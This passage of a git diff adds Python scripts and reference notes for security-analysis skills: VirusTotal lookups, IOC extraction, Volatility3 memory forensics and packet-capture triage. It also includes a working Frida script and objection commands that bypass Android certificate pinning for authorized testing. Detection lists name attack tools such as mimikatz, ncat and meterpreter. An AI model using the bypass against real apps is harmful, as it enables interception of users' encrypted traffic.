r.get("found")), + "malicious": len(malicious), + "results": results, + } + + +def hash_file(filepath): + """Calculate MD5, SHA1, SHA256 of a local file.""" + algos = {"md5": hashlib.md5(), "sha1": hashlib.sha1(), "sha256": hashlib.sha256()} + with open(filepath, "rb") as f: + while True: + chunk = f.read(8192) + if not chunk: + break + for a in algos.values(): + a.update(chunk) + return {name: a.hexdigest() for name, a in algos.items()} + + +def main(): + if not requests: + print(json.dumps({"error": "requests not installed"})) + return + parser = argparse.ArgumentParser(description="VirusTotal Hash Enrichment Agent") + parser.add_argument("--api-key", required=True, help="VirusTotal API key") + sub = parser.add_subparsers(dest="command") + l = sub.add_parser("lookup", help="Look up single hash") + l.add_argument("--hash", required=True) + b = sub.add_parser("bulk", help="Enrich list of hashes") + b.add_argument("--hashes", nargs="+", required=True) + b.add_argument("--rate-limit", type=int, default=4) + bh = sub.add_parser("behavior", help="Get sandbox behavior") + bh.add_argument("--hash", required=True) + hf = sub.add_parser("hash-file", help="Hash a local file") + hf.add_argument("--file", required=True) + args = parser.parse_args() + client = VirusTotalClient(args.api_key) if hasattr(args, "api_key") else None + if args.command == "lookup": + result = client.get_file_report(args.hash) + elif args.command == "bulk": + result = enrich_hash_list(args.api_key, args.hashes, args.rate_limit) + elif args.command == "behavior": + result = client.get_file_behavior(args.hash) + elif args.command == "hash-file": + result = hash_file(args.file) + else: + parser.print_help() + return + print(json.dumps(result, indent=2, default=str)) + + +if __name__ == "__main__": + main() diff --git a/skills/performing-malware-ioc-extraction/LICENSE b/skills/performing-malware-ioc-extraction/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-malware-ioc-extraction/LICENSE +++ b/skills/performing-malware-ioc-extraction/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-malware-ioc-extraction/references/api-reference.md b/skills/performing-malware-ioc-extraction/references/api-reference.md new file mode 100644 index 00000000..a4dbd189 --- /dev/null +++ b/skills/performing-malware-ioc-extraction/references/api-reference.md @@ -0,0 +1,48 @@ +# API Reference — Performing Malware IOC Extraction + +## Libraries Used +- **re**: Regex patterns for 16 IOC types including defanged indicators +- **hashlib**: MD5, SHA1, SHA256 file hashing +- **pathlib**: File reading (text and binary) + +## CLI Interface +``` +python agent.py text --file threat_report.txt +python agent.py hash --file malware.exe +python agent.py strings --file malware.exe [--min-length 6] +python agent.py report --file malware.exe [--output iocs.json] +``` + +## Core Functions + +### `extract_iocs_from_text(text)` — Extract IOCs with defanging support +Handles defanged indicators: `[.]` -> `.`, `hxxp` -> `http`. Filters private IPs. + +### `extract_from_file(file_path)` — Extract IOCs from text/report files +### `hash_file(file_path)` — Calculate MD5/SHA1/SHA256 hashes +### `extract_strings(file_path, min_length)` — Binary string extraction +Extracts ASCII and wide (UTF-16LE) strings. Identifies suspicious API calls and keywords. + +### `generate_ioc_report(file_path, output)` — Full analysis report + +## IOC Pattern Types (16) +| Type | Example | +|------|---------| +| ipv4 | 192.168.1.1 (private filtered) | +| domain | evil.example.com | +| url | https://malware.example.com/payload | +| md5/sha1/sha256 | File hashes | +| cve | CVE-2024-12345 | +| registry_key | HKLM\Software\... | +| file_path_windows | C:\Windows\Temp\mal.exe | +| mutex | Global\MutexName | +| mitre_technique | T1059.001 | +| bitcoin_addr | Bitcoin wallet address | +| user_agent | Mozilla/5.0 strings | + +## Suspicious String Keywords +CreateRemoteThread, VirtualAlloc, WriteProcessMemory, LoadLibrary, +GetProcAddress, WinExec, ShellExecute, powershell, cmd.exe + +## Dependencies +No external packages — Python standard library only. diff --git a/skills/performing-malware-ioc-extraction/scripts/agent.py b/skills/performing-malware-ioc-extraction/scripts/agent.py new file mode 100644 index 00000000..8f70afbe --- /dev/null +++ b/skills/performing-malware-ioc-extraction/scripts/agent.py @@ -0,0 +1,150 @@ +#!/usr/bin/env python3 +"""Agent for performing malware IOC extraction from files, reports, and samples.""" + +import json +import argparse +import re +import hashlib +from pathlib import Path +from collections import Counter + + +IOC_PATTERNS = { + "ipv4": re.compile(r"\b(?:(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)\.){3}(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)\b"), + "ipv6": re.compile(r"\b(?:[0-9a-fA-F]{1,4}:){7}[0-9a-fA-F]{1,4}\b"), + "domain": re.compile(r"\b(?:[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?\.)+(?:com|net|org|io|ru|cn|xyz|top|info|biz|cc|tk|ml|ga|cf|gq|pw)\b"), + "url": re.compile(r"https?://[^\s<>\"'\)]+"), + "email": re.compile(r"\b[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}\b"), + "md5": re.compile(r"\b[a-f0-9]{32}\b"), + "sha1": re.compile(r"\b[a-f0-9]{40}\b"), + "sha256": re.compile(r"\b[a-f0-9]{64}\b"), + "cve": re.compile(r"CVE-\d{4}-\d{4,7}", re.I), + "registry_key": re.compile(r"(?:HKLM|HKCU|HKCR|HKU|HKCC)\\[^\s\"']+"), + "file_path_windows": re.compile(r"[A-Z]:\\(?:[^\s\\\"]+\\)*[^\s\\\"]+\.\w{1,5}"), + "file_path_unix": re.compile(r"/(?:tmp|var|etc|usr|home|opt|bin|sbin)/[^\s\"']+"), + "mutex": re.compile(r"(?:Global|Local)\\[^\s\"']+"), + "bitcoin_addr": re.compile(r"\b[13][a-km-zA-HJ-NP-Z1-9]{25,34}\b"), + "mitre_technique": re.compile(r"T\d{4}(?:\.\d{3})?"), + "user_agent": re.compile(r"Mozilla/5\.0[^\n\"]{20,200}"), +} + +DEFANGED_PATTERNS = { + "ip_defanged": (re.compile(r"\b\d+\[\.\]\d+\[\.\]\d+\[\.\]\d+\b"), lambda m: m.group().replace("[.]", ".")), + "url_defanged": (re.compile(r"hxxps?://[^\s]+"), lambda m: m.group().replace("hxxp", "http")), + "domain_defanged": (re.compile(r"\b\S+\[\.\]\S+\b"), lambda m: m.group().replace("[.]", ".")), +} + + +def extract_iocs_from_text(text): + """Extract all IOC types from raw text.""" + refanged = text + for name, (pattern, fixer) in DEFANGED_PATTERNS.items(): + refanged = pattern.sub(fixer, refanged) + extracted = {} + for ioc_type, pattern in IOC_PATTERNS.items(): + matches = list(set(pattern.findall(refanged))) + if matches: + extracted[ioc_type] = sorted(matches)[:200] + private_ip = re.compile(r"^(?:10\.|172\.(?:1[6-9]|2\d|3[01])\.|192\.168\.|127\.)") + if "ipv4" in extracted: + extracted["ipv4"] = [ip for ip in extracted["ipv4"] if not private_ip.match(ip)] + return extracted + + +def extract_from_file(file_path): + """Extract IOCs from a file (text, PDF text, or report).""" + content = Path(file_path).read_text(encoding="utf-8", errors="replace") + iocs = extract_iocs_from_text(content) + total = sum(len(v) for v in iocs.values()) + return { + "source": file_path, "total_iocs": total, + "by_type": {k: len(v) for k, v in iocs.items()}, + "indicators": iocs, + } + + +def hash_file(file_path): + """Calculate file hashes for malware sample identification.""" + data = Path(file_path).read_bytes() + return { + "file": file_path, + "size_bytes": len(data), + "md5": hashlib.md5(data).hexdigest(), + "sha1": hashlib.sha1(data).hexdigest(), + "sha256": hashlib.sha256(data).hexdigest(), + } + + +def extract_strings(file_path, min_length=6): + """Extract printable strings from binary file.""" + data = Path(file_path).read_bytes() + ascii_strings = re.findall(rb"[\x20-\x7e]{%d,}" % min_length, data) + wide_strings = re.findall(rb"(?:[\x20-\x7e]\x00){%d,}" % min_length, data) + all_strings = [s.decode("ascii", errors="replace") for s in ascii_strings] + all_strings += [s.decode("utf-16-le", errors="replace") for s in wide_strings] + iocs = extract_iocs_from_text("\n".join(all_strings)) + suspicious = [] + suspicious_kw = ["http", "socket", "connect", "download", "upload", "exec", "cmd.exe", + "powershell", "reg add", "CreateRemoteThread", "VirtualAlloc", "WriteProcessMemory", + "LoadLibrary", "GetProcAddress", "WinExec", "ShellExecute"] + for s in all_strings: + if any(kw.lower() in s.lower() for kw in suspicious_kw): + suspicious.append(s[:200]) + return { + "file": file_path, "total_strings": len(all_strings), + "suspicious_strings": suspicious[:30], + "extracted_iocs": {k: len(v) for k, v in iocs.items()}, + "ioc_details": iocs, + } + + +def generate_ioc_report(file_path, output=None): + """Generate comprehensive IOC extraction report.""" + hashes = hash_file(file_path) + strings = extract_strings(file_path) + report = { + "generated": datetime.utcnow().isoformat() if "datetime" in dir() else "", + "file_info": hashes, + "strings_analysis": { + "total": strings["total_strings"], + "suspicious": strings["suspicious_strings"], + }, + "extracted_iocs": strings["ioc_details"], + "ioc_summary": strings["extracted_iocs"], + } + if output: + with open(output, "w") as f: + json.dump(report, f, indent=2) + return report + + +def main(): + parser = argparse.ArgumentParser(description="Malware IOC Extraction Agent") + sub = parser.add_subparsers(dest="command") + t = sub.add_parser("text", help="Extract IOCs from text/report file") + t.add_argument("--file", required=True) + h = sub.add_parser("hash", help="Calculate file hashes") + h.add_argument("--file", required=True) + s = sub.add_parser("strings", help="Extract strings and IOCs from binary") + s.add_argument("--file", required=True) + s.add_argument("--min-length", type=int, default=6) + r = sub.add_parser("report", help="Generate full IOC report") + r.add_argument("--file", required=True) + r.add_argument("--output", help="Output JSON file") + args = parser.parse_args() + if args.command == "text": + result = extract_from_file(args.file) + elif args.command == "hash": + result = hash_file(args.file) + elif args.command == "strings": + result = extract_strings(args.file, args.min_length) + elif args.command == "report": + result = generate_ioc_report(args.file, args.output) + else: + parser.print_help() + return + print(json.dumps(result, indent=2, default=str)) + + +if __name__ == "__main__": + main() diff --git a/skills/performing-malware-persistence-investigation/LICENSE b/skills/performing-malware-persistence-investigation/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-malware-persistence-investigation/LICENSE +++ b/skills/performing-malware-persistence-investigation/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-malware-triage-with-yara/LICENSE b/skills/performing-malware-triage-with-yara/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-malware-triage-with-yara/LICENSE +++ b/skills/performing-malware-triage-with-yara/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-memory-forensics-with-volatility3-plugins/LICENSE b/skills/performing-memory-forensics-with-volatility3-plugins/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-memory-forensics-with-volatility3-plugins/LICENSE +++ b/skills/performing-memory-forensics-with-volatility3-plugins/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-memory-forensics-with-volatility3-plugins/references/api-reference.md b/skills/performing-memory-forensics-with-volatility3-plugins/references/api-reference.md new file mode 100644 index 00000000..e49df841 --- /dev/null +++ b/skills/performing-memory-forensics-with-volatility3-plugins/references/api-reference.md @@ -0,0 +1,49 @@ +# API Reference — Performing Memory Forensics with Volatility3 Plugins + +## Libraries Used +- **subprocess**: Execute Volatility3 CLI with JSON output +- **json**: Parse Volatility3 JSON results + +## CLI Interface +``` +python agent.py plugin --dump memory.raw --name pslist [--args --pid 1234] +python agent.py malproc --dump memory.raw +python agent.py inject --dump memory.raw +python agent.py network --dump memory.raw +python agent.py triage --dump memory.raw +``` + +## Core Functions + +### `run_vol3_plugin(memory_dump, plugin_name, extra_args)` — Execute any Vol3 plugin +Supports 18 built-in plugins with JSON output parsing. + +### `detect_malicious_processes(memory_dump)` — Suspicious process detection +Checks pslist against 15 known attack tools (mimikatz, cobalt, rubeus, etc.). +Flags cmd.exe and PowerShell execution. + +### `detect_injected_code(memory_dump)` — Code injection via malfind +Identifies memory regions with executable, non-image-backed pages. + +### `analyze_network_connections(memory_dump)` — Network artifact extraction +Extracts connections via netscan. Filters external (non-RFC1918) connections. + +### `full_triage(memory_dump)` — Combined analysis +Runs processes + injection + network analysis in single report. + +## Supported Volatility3 Plugins +| Plugin | Class | Purpose | +|--------|-------|---------| +| pslist | windows.pslist.PsList | Process listing | +| psscan | windows.psscan.PsScan | Hidden process scan | +| malfind | windows.malfind.Malfind | Code injection detection | +| netscan | windows.netscan.NetScan | Network connections | +| cmdline | windows.cmdline.CmdLine | Process command lines | +| dlllist | windows.dlllist.DllList | Loaded DLLs | +| hashdump | windows.hashdump.Hashdump | Password hash extraction | +| svcscan | windows.svcscan.SvcScan | Windows services | + +## Dependencies +``` +pip install volatility3 +``` diff --git a/skills/performing-memory-forensics-with-volatility3-plugins/scripts/agent.py b/skills/performing-memory-forensics-with-volatility3-plugins/scripts/agent.py new file mode 100644 index 00000000..0e432ff0 --- /dev/null +++ b/skills/performing-memory-forensics-with-volatility3-plugins/scripts/agent.py @@ -0,0 +1,169 @@ +#!/usr/bin/env python3 +"""Agent for performing memory forensics with Volatility3 plugins.""" + +import json +import argparse +import subprocess +from datetime import datetime +from pathlib import Path + + +VOL3_PLUGINS = { + "pslist": "windows.pslist.PsList", + "pstree": "windows.pstree.PsTree", + "psscan": "windows.psscan.PsScan", + "dlllist": "windows.dlllist.DllList", + "handles": "windows.handles.Handles", + "netscan": "windows.netscan.NetScan", + "netstat": "windows.netstat.NetStat", + "malfind": "windows.malfind.Malfind", + "cmdline": "windows.cmdline.CmdLine", + "filescan": "windows.filescan.FileScan", + "hivelist": "windows.registry.hivelist.HiveList", + "hashdump": "windows.hashdump.Hashdump", + "lsadump": "windows.lsadump.Lsadump", + "svcscan": "windows.svcscan.SvcScan", + "ssdt": "windows.ssdt.SSDT", + "callbacks": "windows.callbacks.Callbacks", + "vadinfo": "windows.vadinfo.VadInfo", + "envars": "windows.envars.Envars", +} + + +def run_vol3_plugin(memory_dump, plugin_name, extra_args=None): + """Execute a Volatility3 plugin against a memory dump.""" + plugin_class = VOL3_PLUGINS.get(plugin_name, plugin_name) + cmd = ["vol", "-f", memory_dump, "-r", "json", plugin_class] + if extra_args: + cmd += extra_args + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=300) + if result.returncode != 0: + return {"error": result.stderr[:500], "plugin": plugin_name} + data = json.loads(result.stdout) + return {"plugin": plugin_name, "memory_dump": memory_dump, "results": data, "count": len(data) if isinstance(data, list) else 1} + except FileNotFoundError: + return {"error": "Volatility3 (vol) not found — pip install volatility3"} + except json.JSONDecodeError: + return {"plugin": plugin_name, "raw_output": result.stdout[:2000]} + except subprocess.TimeoutExpired: + return {"error": f"Plugin {plugin_name} timed out after 300s"} + + +def detect_malicious_processes(memory_dump): + """Run process analysis plugins to detect suspicious processes.""" + suspicious_names = ["mimikatz", "procdump", "psexec", "cobalt", "beacon", + "meterpreter", "nc.exe", "ncat", "powercat", "lazagne", + "bloodhound", "rubeus", "certify", "seatbelt", "sharphound"] + pslist = run_vol3_plugin(memory_dump, "pslist") + cmdline = run_vol3_plugin(memory_dump, "cmdline") + suspicious = [] + if isinstance(pslist.get("results"), list): + for proc in pslist["results"]: + name = str(proc.get("ImageFileName", proc.get("Name", ""))).lower() + pid = proc.get("PID", proc.get("pid", "")) + ppid = proc.get("PPID", proc.get("ppid", "")) + if any(s in name for s in suspicious_names): + suspicious.append({"pid": pid, "name": name, "ppid": ppid, "reason": "KNOWN_ATTACK_TOOL"}) + if name == "cmd.exe" and str(ppid) not in ("0", "1"): + suspicious.append({"pid": pid, "name": name, "ppid": ppid, "reason": "CMD_SPAWNED"}) + if name in ("powershell.exe", "pwsh.exe"): + suspicious.append({"pid": pid, "name": name, "ppid": ppid, "reason": "POWERSHELL_EXECUTION"}) + return { + "memory_dump": memory_dump, + "total_processes": len(pslist.get("results", [])) if isinstance(pslist.get("results"), list) else 0, + "suspicious_processes": suspicious, + "timestamp": datetime.utcnow().isoformat(), + } + + +def detect_injected_code(memory_dump): + """Run malfind to detect code injection.""" + malfind = run_vol3_plugin(memory_dump, "malfind") + findings = [] + if isinstance(malfind.get("results"), list): + for entry in malfind["results"]: + findings.append({ + "pid": entry.get("PID", entry.get("pid")), + "process": entry.get("Process", entry.get("process", "")), + "address": entry.get("Start VPN", entry.get("start", "")), + "protection": entry.get("Protection", entry.get("protection", "")), + "tag": entry.get("Tag", ""), + }) + return { + "memory_dump": memory_dump, + "injections_found": len(findings), + "findings": findings[:30], + "severity": "HIGH" if findings else "INFO", + } + + +def analyze_network_connections(memory_dump): + """Extract network connections from memory.""" + netscan = run_vol3_plugin(memory_dump, "netscan") + connections = [] + if isinstance(netscan.get("results"), list): + for conn in netscan["results"]: + connections.append({ + "pid": conn.get("PID", conn.get("pid")), + "process": conn.get("Owner", conn.get("process", "")), + "local_addr": conn.get("LocalAddr", conn.get("local_addr", "")), + "local_port": conn.get("LocalPort", conn.get("local_port", "")), + "remote_addr": conn.get("ForeignAddr", conn.get("remote_addr", "")), + "remote_port": conn.get("ForeignPort", conn.get("remote_port", "")), + "state": conn.get("State", conn.get("state", "")), + }) + external = [c for c in connections if c.get("remote_addr") and not c["remote_addr"].startswith(("0.0", "127.", "10.", "192.168.", "172."))] + return { + "total_connections": len(connections), + "external_connections": len(external), + "connections": connections[:30], + "external_only": external[:20], + } + + +def full_triage(memory_dump): + """Run full memory triage with key plugins.""" + return { + "memory_dump": memory_dump, + "timestamp": datetime.utcnow().isoformat(), + "processes": detect_malicious_processes(memory_dump), + "injections": detect_injected_code(memory_dump), + "network": analyze_network_connections(memory_dump), + } + + +def main(): + parser = argparse.ArgumentParser(description="Volatility3 Memory Forensics Agent") + sub = parser.add_subparsers(dest="command") + p = sub.add_parser("plugin", help="Run specific Volatility3 plugin") + p.add_argument("--dump", required=True, help="Memory dump file path") + p.add_argument("--name", required=True, help="Plugin name or class", choices=list(VOL3_PLUGINS.keys())) + p.add_argument("--args", nargs="*", help="Extra plugin arguments") + m = sub.add_parser("malproc", help="Detect malicious processes") + m.add_argument("--dump", required=True) + i = sub.add_parser("inject", help="Detect code injection") + i.add_argument("--dump", required=True) + n = sub.add_parser("network", help="Analyze network connections") + n.add_argument("--dump", required=True) + t = sub.add_parser("triage", help="Full memory triage") + t.add_argument("--dump", required=True) + args = parser.parse_args() + if args.command == "plugin": + result = run_vol3_plugin(args.dump, args.name, args.args) + elif args.command == "malproc": + result = detect_malicious_processes(args.dump) + elif args.command == "inject": + result = detect_injected_code(args.dump) + elif args.command == "network": + result = analyze_network_connections(args.dump) + elif args.command == "triage": + result = full_triage(args.dump) + else: + parser.print_help() + return + print(json.dumps(result, indent=2, default=str)) + + +if __name__ == "__main__": + main() diff --git a/skills/performing-memory-forensics-with-volatility3/LICENSE b/skills/performing-memory-forensics-with-volatility3/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-memory-forensics-with-volatility3/LICENSE +++ b/skills/performing-memory-forensics-with-volatility3/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-mobile-app-certificate-pinning-bypass/LICENSE b/skills/performing-mobile-app-certificate-pinning-bypass/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-mobile-app-certificate-pinning-bypass/LICENSE +++ b/skills/performing-mobile-app-certificate-pinning-bypass/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-mobile-app-certificate-pinning-bypass/references/api-reference.md b/skills/performing-mobile-app-certificate-pinning-bypass/references/api-reference.md new file mode 100644 index 00000000..4e7b63b3 --- /dev/null +++ b/skills/performing-mobile-app-certificate-pinning-bypass/references/api-reference.md @@ -0,0 +1,43 @@ +# API Reference — Performing Mobile App Certificate Pinning Bypass + +## Libraries Used +- **subprocess**: Execute frida, objection, apktool, adb commands +- **pathlib**: Read decompiled APK smali files + +## CLI Interface +``` +python agent.py detect --apk app.apk +python agent.py frida --package com.example.app [--device emulator-5554] +python agent.py objection --package com.example.app +python agent.py proxy +``` + +## Core Functions + +### `detect_pinning_implementation(apk_path)` — Static APK analysis +Decompiles APK with apktool. Searches smali for pinning indicators: +OkHttp CertificatePinner, X509TrustManager, network_security_config, +WebView SSL error handler, Conscrypt TrustManagerImpl, Certificate Transparency. + +### `run_frida_bypass(package_name, device_id)` — Dynamic Frida bypass +Injects JavaScript to bypass: TrustManagerImpl.verifyChain, OkHttp CertificatePinner.check, +WebViewClient.onReceivedSslError. + +### `run_objection_bypass(package_name)` — Objection framework bypass +Runs `android sslpinning disable` via objection exploration mode. + +### `check_proxy_setup()` — Verify interception environment +Checks: Android proxy settings, system CA certificates, user-installed CA certs. + +## Pinning Strength Classification +| Level | Criteria | +|-------|----------| +| STRONG | 3+ pinning implementations detected | +| MODERATE | 1-2 implementations | +| NONE | No pinning indicators found | + +## Dependencies +``` +pip install frida-tools objection +``` +System: apktool, adb (Android Debug Bridge) diff --git a/skills/performing-mobile-app-certificate-pinning-bypass/scripts/agent.py b/skills/performing-mobile-app-certificate-pinning-bypass/scripts/agent.py new file mode 100644 index 00000000..30756a7d --- /dev/null +++ b/skills/performing-mobile-app-certificate-pinning-bypass/scripts/agent.py @@ -0,0 +1,166 @@ +#!/usr/bin/env python3 +"""Agent for performing mobile app certificate pinning bypass testing — authorized testing only.""" + +import json +import argparse +import subprocess +from datetime import datetime +from pathlib import Path + + +FRIDA_SSL_BYPASS_SCRIPT = """ +Java.perform(function() { + // TrustManagerImpl bypass + var TrustManagerImpl = Java.use('com.android.org.conscrypt.TrustManagerImpl'); + TrustManagerImpl.verifyChain.implementation = function() { + console.log('[*] Bypassed TrustManagerImpl.verifyChain'); + return Java.use('java.util.ArrayList').$new(); + }; + // OkHttp CertificatePinner bypass + try { + var CertificatePinner = Java.use('okhttp3.CertificatePinner'); + CertificatePinner.check.overload('java.lang.String', 'java.util.List').implementation = function(hostname, peerCerts) { + console.log('[*] Bypassed OkHttp CertificatePinner for: ' + hostname); + }; + } catch(e) { console.log('[!] OkHttp not found'); } + // WebViewClient bypass + try { + var WebViewClient = Java.use('android.webkit.WebViewClient'); + WebViewClient.onReceivedSslError.implementation = function(view, handler, error) { + console.log('[*] Bypassed WebView SSL error'); + handler.proceed(); + }; + } catch(e) {} +}); +""" + + +def detect_pinning_implementation(apk_path): + """Detect certificate pinning implementation in an APK.""" + cmd = ["apktool", "d", apk_path, "-o", "/tmp/apk_decompile", "-f"] + try: + subprocess.run(cmd, capture_output=True, text=True, timeout=120) + except FileNotFoundError: + return {"error": "apktool not installed"} + pinning_indicators = { + "okhttp_pinner": "CertificatePinner", + "trustmanager": "X509TrustManager", + "network_security_config": "network_security_config", + "ssl_pinning_webview": "onReceivedSslError", + "conscrypt": "TrustManagerImpl", + "certificate_transparency": "CertificateTransparency", + } + findings = {} + smali_dir = Path("/tmp/apk_decompile") + for smali_file in smali_dir.rglob("*.smali"): + content = smali_file.read_text(encoding="utf-8", errors="replace") + for indicator_name, pattern in pinning_indicators.items(): + if pattern in content: + findings.setdefault(indicator_name, []).append(str(smali_file.relative_to(smali_dir))) + nsc_file = smali_dir / "res" / "xml" / "network_security_config.xml" + nsc_content = None + if nsc_file.exists(): + nsc_content = nsc_file.read_text() + return { + "apk": apk_path, + "pinning_detected": bool(findings), + "implementations": {k: v[:5] for k, v in findings.items()}, + "network_security_config": nsc_content[:500] if nsc_content else None, + "pinning_strength": "STRONG" if len(findings) >= 3 else "MODERATE" if findings else "NONE", + } + + +def run_frida_bypass(package_name, device_id=None): + """Launch Frida SSL pinning bypass against a running app.""" + script_path = Path("/tmp/frida_ssl_bypass.js") + script_path.write_text(FRIDA_SSL_BYPASS_SCRIPT) + cmd = ["frida", "-U", "-l", str(script_path), "-f", package_name, "--no-pause"] + if device_id: + cmd = ["frida", "-D", device_id, "-l", str(script_path), "-f", package_name, "--no-pause"] + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=30) + return { + "package": package_name, + "script": "ssl_pinning_bypass", + "output": result.stdout[:1000], + "errors": result.stderr[:500] if result.stderr else None, + "success": result.returncode == 0, + } + except FileNotFoundError: + return {"error": "frida not installed — pip install frida-tools"} + except subprocess.TimeoutExpired: + return {"package": package_name, "status": "RUNNING", "note": "Frida is attached — use Ctrl+C to detach"} + + +def run_objection_bypass(package_name): + """Use objection to disable SSL pinning on Android/iOS.""" + cmd = ["objection", "-g", package_name, "explore", "-s", + "android sslpinning disable"] + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=30) + return { + "package": package_name, + "tool": "objection", + "output": result.stdout[:1000], + "success": "disabled" in result.stdout.lower(), + } + except FileNotFoundError: + return {"error": "objection not installed — pip install objection"} + except Exception as e: + return {"error": str(e)} + + +def check_proxy_setup(): + """Verify proxy setup for traffic interception.""" + checks = {} + try: + result = subprocess.run(["adb", "shell", "settings", "get", "global", "http_proxy"], + capture_output=True, text=True, timeout=10) + proxy = result.stdout.strip() + checks["android_proxy"] = proxy if proxy and proxy != "null" else "NOT_SET" + except Exception as e: + checks["android_proxy_error"] = str(e) + try: + result = subprocess.run(["adb", "shell", "ls", "/system/etc/security/cacerts/"], + capture_output=True, text=True, timeout=10) + cert_count = len(result.stdout.strip().splitlines()) + checks["system_ca_certs"] = cert_count + except Exception as e: + checks["ca_cert_error"] = str(e) + try: + result = subprocess.run(["adb", "shell", "su", "-c", "cat /data/misc/user/0/cacerts-added/ 2>/dev/null | wc -l"], + capture_output=True, text=True, timeout=10) + checks["user_ca_certs"] = result.stdout.strip() + except Exception: + checks["user_ca_certs"] = "unknown" + return {"proxy_setup": checks} + + +def main(): + parser = argparse.ArgumentParser(description="Mobile App Certificate Pinning Bypass Agent (Authorized Only)") + sub = parser.add_subparsers(dest="command") + d = sub.add_parser("detect", help="Detect pinning in APK") + d.add_argument("--apk", required=True) + f = sub.add_parser("frida", help="Frida SSL bypass") + f.add_argument("--package", required=True) + f.add_argument("--device", help="Device ID") + o = sub.add_parser("objection", help="Objection SSL bypass") + o.add_argument("--package", required=True) + sub.add_parser("proxy", help="Check proxy setup") + args = parser.parse_args() + if args.command == "detect": + result = detect_pinning_implementation(args.apk) + elif args.command == "frida": + result = run_frida_bypass(args.package, args.device) + elif args.command == "objection": + result = run_objection_bypass(args.package) + elif args.command == "proxy": + result = check_proxy_setup() + else: + parser.print_help() + return + print(json.dumps(result, indent=2, default=str)) + + +if __name__ == "__main__": + main() diff --git a/skills/performing-mobile-device-forensics-with-cellebrite/LICENSE b/skills/performing-mobile-device-forensics-with-cellebrite/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-mobile-device-forensics-with-cellebrite/LICENSE +++ b/skills/performing-mobile-device-forensics-with-cellebrite/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-network-forensics-with-wireshark/LICENSE b/skills/performing-network-forensics-with-wireshark/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-network-forensics-with-wireshark/LICENSE +++ b/skills/performing-network-forensics-with-wireshark/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-network-packet-capture-analysis/LICENSE b/skills/performing-network-packet-capture-analysis/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-network-packet-capture-analysis/LICENSE +++ b/skills/performing-network-packet-capture-analysis/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-network-packet-capture-analysis/references/api-reference.md b/skills/performing-network-packet-capture-analysis/references/api-reference.md new file mode 100644 index 00000000..90d31034 --- /dev/null +++ b/skills/performing-network-packet-capture-analysis/references/api-reference.md @@ -0,0 +1,45 @@ +# API Reference — Performing Network Packet Capture Analysis + +## Libraries Used +- **scapy**: PCAP parsing, protocol dissection, packet analysis +- **subprocess**: Execute tshark for HTTP extraction and conversation analysis +- **collections.Counter**: Traffic statistics aggregation + +## CLI Interface +``` +python agent.py analyze --pcap capture.pcap +python agent.py http --pcap capture.pcap +python agent.py suspicious --pcap capture.pcap +python agent.py conversations --pcap capture.pcap +``` + +## Core Functions + +### `analyze_pcap_scapy(pcap_file)` — Protocol and IP statistics +Returns: protocol distribution, top source/dest IPs, top destination ports, DNS queries. + +### `extract_http_requests(pcap_file)` — HTTP request extraction via tshark +Extracts: source/dest IP, method, host, URI, user agent from HTTP requests. + +### `detect_suspicious_traffic(pcap_file)` — Anomaly detection +Detects: port scanning (>=20 SYN to same target), DNS exfiltration (queries >60 chars), +suspicious ports (4444, 31337, 6667, etc.). + +### `conversation_analysis(pcap_file)` — TCP conversation summary +Uses tshark `-z conv,tcp` for conversation-level statistics. + +## Suspicious Port Detection +4444, 5555, 6666, 8888, 9999, 1234, 31337, 